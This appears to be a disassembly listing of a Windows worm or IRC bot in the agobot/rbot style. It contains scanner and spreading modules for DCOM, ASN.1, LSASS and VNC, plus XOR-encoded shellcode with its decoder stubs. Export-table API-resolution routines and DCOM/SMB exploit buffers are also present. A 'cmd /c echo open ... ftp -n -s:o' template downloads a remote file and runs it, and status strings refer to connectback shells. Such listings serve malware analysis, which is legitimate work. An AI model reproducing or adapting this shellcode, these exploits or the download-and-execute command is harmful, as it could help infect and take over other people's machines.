byte_431749 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_431753 dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dword_431784 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
; DATA XREF: sub_40B477+10o
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
align 10h
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
align 4
aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o
; .packed:0040E229o ...
align 4
dd 5 dup(0)
dword_431800 dd 0B97h ; DATA XREF: sub_401ACD+1D42r
; sub_401ACD+1D6Ao ...
off_431804 dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr
dword_431808 dd 0 ; DATA XREF: sub_40B90E+2Eo
; .packed:0040D759w ...
dword_43180C dd 1 ; DATA XREF: sub_40BD91+1Fr
dword_431810 dd 1 ; DATA XREF: sub_40BD91+3B3r
dword_431814 dd 0 ; DATA XREF: sub_40BD91+292r
aDcom135 db 'dcom135',0
dd 63440000h, 33316D6Fh, 35h, 5 dup(0)
dd 87h, 40DF4Ch, 0
dd 1, 2 dup(0)
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40EC1Fh, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 10h
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D59Dh, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 10h
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D59Dh, 0
dd 2 dup(1), 0
aVncs db 'vncs',0
align 10h
dd 54480000h, 562D5054h, 434Eh, 5 dup(0)
dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445 db 'lsass_445',0
aLsass_445_0 db 'lsass_445',0
dd 5 dup(0)
dd 1BDh, 40E830h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 10h
db 2 dup(0)
byte_4319E2 db 1 ; DATA XREF: sub_401ACD:loc_403789r
; sub_401ACD+1CC6o
aAsn139_0 db 'asn139',0
align 4
dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_431A0E
; =============== S U B R O U T I N E =======================================
sub_4319FE proc near ; CODE XREF: sub_4319FE:loc_431A0Ep
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_431A06: ; CODE XREF: sub_4319FE+Cj
xor byte ptr [edx+ecx], 99h
loop loc_431A06
jmp short loc_431A13
; ---------------------------------------------------------------------------
loc_431A0E: ; CODE XREF: .packed:004319FCj
call sub_4319FE
loc_431A13: ; CODE XREF: sub_4319FE+Ej
jo short near ptr dword_43199C+12h
cwde
cdq
cdq
retn
sub_4319FE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
align 10h
dword_431B90 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o
unk_431B9C db 2Dh ; - ; DATA XREF: sub_40B90E+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_431BBC db 2Dh ; - ; DATA XREF: sub_40B9DD+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_431C04 db 2Dh ; - ; DATA XREF: sub_40BA49+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 10h
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo
dword_431C40 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C50 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40BA9E+14o
dd 7473694Ch, 3Ah
unk_431C6C db 2Dh ; - ; DATA XREF: sub_40BB65+172o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_431CA0 db 2Dh ; - ; DATA XREF: sub_40BB65+80o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 10h
unk_431CD0 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 10h
unk_431CF0 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_431D0C db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_30 db ' Failed to start server, error: <%d>.',0
align 10h
unk_431D40 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_31 db '- Failed to start server, error: <%d>.',0
unk_431D78 db 2Dh ; - ; DATA XREF: sub_40BD91+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 4
unk_431DA8 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_32 db 'Failed to start server, error: <%d>.',0
align 4
unk_431DDC db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 10h
unk_431E10 db 2Dh ; - ; DATA XREF: sub_40BD91+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
unk_431E44 db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_431E6C db 2Dh ; - ; DATA XREF: sub_40C3E8+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431EA4 db 2Dh ; - ; DATA XREF: sub_40C600+1CEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_431EE4 db 2Dh ; - ; DATA XREF: sub_40C600+173o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_431F1C db 2Dh ; - ; DATA XREF: sub_40C600+103o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F50 db 2Dh ; - ; DATA XREF: sub_40C600+87o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
unk_431F84 db 2Dh ; - ; DATA XREF: sub_40C85F+92o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 4
unk_431FAC db 2Dh ; - ; DATA XREF: sub_40C92C+41o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
unk_431FD4 db 2Dh ; - ; DATA XREF: sub_40CA1D+D1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 10h
unk_432000 db 2Dh ; - ; DATA XREF: sub_40CA1D+41o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD9E+B2o
align 4
dword_432038 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao
dword_432040 dd 10FF8h ; DATA XREF: sub_40CD9E+79o
dword_432044 dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o
dword_43204C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320D4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_432104 dd 0 ; DATA XREF: sub_40D1C8+44o
dd 800000D4h, 0
unk_432110 db 81h ; ; DATA XREF: sub_40D2A2+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_43215C db 41h ; DATA XREF: sub_40D340+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_4321A0 proc near ; DATA XREF: .packed:0040D61Fo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_43229C
push dword ptr [esi]
push 63D61209h
call sub_4322B2
mov [esi+8], eax
call sub_432265
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4322B2
mov [esi+0Ch], eax
call sub_432217
push dword ptr [esi+4]
push 4C0297FAh
call sub_4322B2
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_4321A0 endp
; =============== S U B R O U T I N E =======================================
sub_432217 proc near ; CODE XREF: sub_4321A0+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_432240
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_432217 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432240 proc near ; CODE XREF: sub_432217+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_43224F: ; CODE XREF: sub_432240+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_43225C
inc ebx
jmp short loc_43224F
; ---------------------------------------------------------------------------
loc_43225C: ; CODE XREF: sub_432240+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_432240 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432265 proc near ; CODE XREF: sub_4321A0+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_43227D: ; CODE XREF: sub_432265+1Ej
cmp [ecx], ebx
jz short loc_432285
mov ecx, [ecx]
jmp short loc_43227D
; ---------------------------------------------------------------------------
loc_432285: ; CODE XREF: sub_432265+1Aj
mov edx, edi
loc_432287: ; CODE XREF: sub_432265+2Aj
cmp [edx+4], ebx
jz short loc_432291
mov edx, [edx+4]
jmp short loc_432287
; ---------------------------------------------------------------------------
loc_432291: ; CODE XREF: sub_432265+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_432265 endp
; =============== S U B R O U T I N E =======================================
sub_43229C proc near ; CODE XREF: sub_4321A0+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_43229C endp
; =============== S U B R O U T I N E =======================================
sub_4322B2 proc near ; CODE XREF: sub_4321A0+16p
; sub_4321A0+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_4322C8: ; CODE XREF: sub_4322B2+33j
jecxz short loc_432302
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_4322D5: ; CODE XREF: sub_4322B2+2Dj
lodsb
cmp al, ah
jz short loc_4322E1
ror edi, 0Dh
add edi, eax
jmp short loc_4322D5
; ---------------------------------------------------------------------------
loc_4322E1: ; CODE XREF: sub_4322B2+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_4322C8
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_432302: ; CODE XREF: sub_4322B2:loc_4322C8j
; sub_4322B2:loc_432302j
jmp short loc_432302
sub_4322B2 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_432308 proc near ; DATA XREF: .packed:0040D5CDo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_43235A
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_432325: ; CODE XREF: sub_432308+38j
jecxz short loc_432355
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_432330: ; CODE XREF: sub_432308+32j
lodsb
test al, al
jz short loc_43233C
ror edx, 0Dh
add edx, eax
jmp short loc_432330
; ---------------------------------------------------------------------------
loc_43233C: ; CODE XREF: sub_432308+2Bj
cmp edx, [esp+arg_0]
jnz short loc_432325
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_432355: ; CODE XREF: sub_432308:loc_432325j
mov [esp+arg_0], ebx
retn
sub_432308 endp
; =============== S U B R O U T I N E =======================================
sub_43235A proc near ; CODE XREF: sub_432308+7p
; FUNCTION CHUNK AT 00432392 SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_432373
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_43237E
; ---------------------------------------------------------------------------
loc_432373: ; CODE XREF: sub_43235A+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_43237E: ; CODE XREF: sub_43235A+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_432392
sub_43235A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432385 proc near ; CODE XREF: sub_43235A:loc_432392p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_432385 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_43235A
loc_432392: ; CODE XREF: sub_43235A+29j
call sub_432385
loc_432397: ; DATA XREF: sub_40CD9E+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_43235A
; ---------------------------------------------------------------------------
dw 0
dword_43239C dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A8 dd 30h ; DATA XREF: sub_40CD9E+2CAo
dword_4323AC dd 0A1h ; DATA XREF: sub_40CD9E+29Fo
dword_4323B0 dd 3 ; DATA XREF: sub_40CD9E+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o
align 4
loc_4323BC: ; DATA XREF: sub_40CD9E+E8o
jmp short near ptr dword_4323C4
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_4323C4 dd 0 ; CODE XREF: .packed:loc_4323BCj
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .packed:0040D5F4o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 4
dword_43242C dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: .packed:0040E02Do
; .packed:0040E167o
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432478 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40DCF9+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4327DC dd 20h, 0 ; DATA XREF: sub_40DCF9+136o
dd 20h, 5C005Ch, 0
off_4327F0 dd offset aLaing ; DATA XREF: sub_40DCF9+15Do
; "Laing"
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 10h
dword_432830 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_40DCF9+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_432940 dd 10016C6h ; DATA XREF: sub_40DCF9+104o
dword_432944 dd 100139Dh ; DATA XREF: sub_40DCF9+FBo
asc_432948: ; DATA XREF: sub_40DB5E+1Co
; sub_40DC41+16o
unicode 0, <\\>,0
align 10h
off_432950 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co
; sub_40DC41+Bo
dd offset aLallemant ; "Lallemant"
dd 24h
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .packed:0040E235o
; .packed:0040E99Eo ...
align 4
aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0
; DATA XREF: .packed:0040E1E8o
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: .packed:0040DF8Do
align 4
jmp short loc_4329CA
; =============== S U B R O U T I N E =======================================
sub_4329BA proc far ; CODE XREF: sub_4329BA:loc_4329CAp
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_4329C2: ; CODE XREF: sub_4329BA+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_4329C2
jmp short loc_4329CF
; ---------------------------------------------------------------------------
loc_4329CA: ; CODE XREF: .packed:004329B8j
call near ptr sub_4329BA
loc_4329CF: ; CODE XREF: sub_4329BA+Ej
jo short loc_432A33
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_432A51
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_432A33: ; CODE XREF: sub_4329BA:loc_4329CFj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_432A51: ; CODE XREF: sub_4329BA+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_4329BA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_432AF8: ; DATA XREF: sub_40E3F1+156o
; sub_40E3F1+212o
jmp short loc_432B0A
; =============== S U B R O U T I N E =======================================
sub_432AFA proc near ; CODE XREF: sub_432AFA:loc_432B0Ap
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_432B02: ; CODE XREF: sub_432AFA+Cj
xor byte ptr [edx+ecx], 99h
loop loc_432B02
jmp short loc_432B0F
; ---------------------------------------------------------------------------
loc_432B0A: ; CODE XREF: .packed:loc_432AF8j
call sub_432AFA
loc_432B0F: ; CODE XREF: sub_432AFA+Ej
jo short near ptr dword_432A88+1Eh
cwde
cdq
cdq
retn
sub_432AFA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_432BA8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40E3F1+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
